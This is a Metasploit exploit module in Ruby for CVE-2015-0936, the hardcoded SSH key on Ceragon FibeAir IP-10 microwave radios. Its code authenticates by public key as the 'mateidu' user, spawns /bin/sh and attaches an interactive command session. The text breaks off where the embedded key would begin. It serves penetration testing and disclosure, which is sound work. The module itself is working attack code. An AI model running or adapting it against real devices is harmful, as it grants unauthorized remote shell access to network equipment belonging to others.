## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote include Msf::Auxiliary::Report Rank = ExcellentRanking def initialize(info = {}) super(update_info(info, { 'Name' => 'Ceragon FibeAir IP-10 SSH Private Key Exposure', 'Description' => %q{ Ceragon ships a public/private key pair on FibeAir IP-10 devices that allows passwordless authentication to any other IP-10 device. Since the key is easily retrievable, an attacker can use it to gain unauthorized remote access as the "mateidu" user. }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => false, 'Targets' => [ [ "Universal", {} ] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'Author' => [ 'hdm', # Discovery 'todb' # Metasploit module and advisory text (mostly copy-paste) ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-0936'], ['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure ['URL', 'https://hdm.io/blog/2015/01/20/partial-disclosure-is-annoying'] # Related issue with hardcoded user:pass ], 'DisclosureDate' => "Apr 01 2015", # Not a joke 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'DefaultTarget' => 0 })) register_options( [ # Since we don't include Tcp, we have to register this manually Opt::RHOST(), Opt::RPORT(22) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end # helper methods that normally come from Tcp def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def do_login(user) opt_hash = { :auth_methods => ['publickey'], :msframework => framework, :msfmodule => self, :port => rport, :key_data => [ key_data ], :disable_agent => true, :config => false, :record_auth_info => true, :proxies => datastore['Proxies'] } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh_socket = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh_socket = Net::SSH.start(rhost, user, opt_hash) end rescue Rex::ConnectionError return nil rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return nil rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return nil rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" return nil rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return nil end if ssh_socket # Create a new session from the socket, then dump it. conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true) ssh_socket = nil return conn else return nil end end def exploit conn = do_login("mateidu") if conn print_good "#{rhost}:#{rport} - Successful login" handler(conn.lsock) end end def key_data <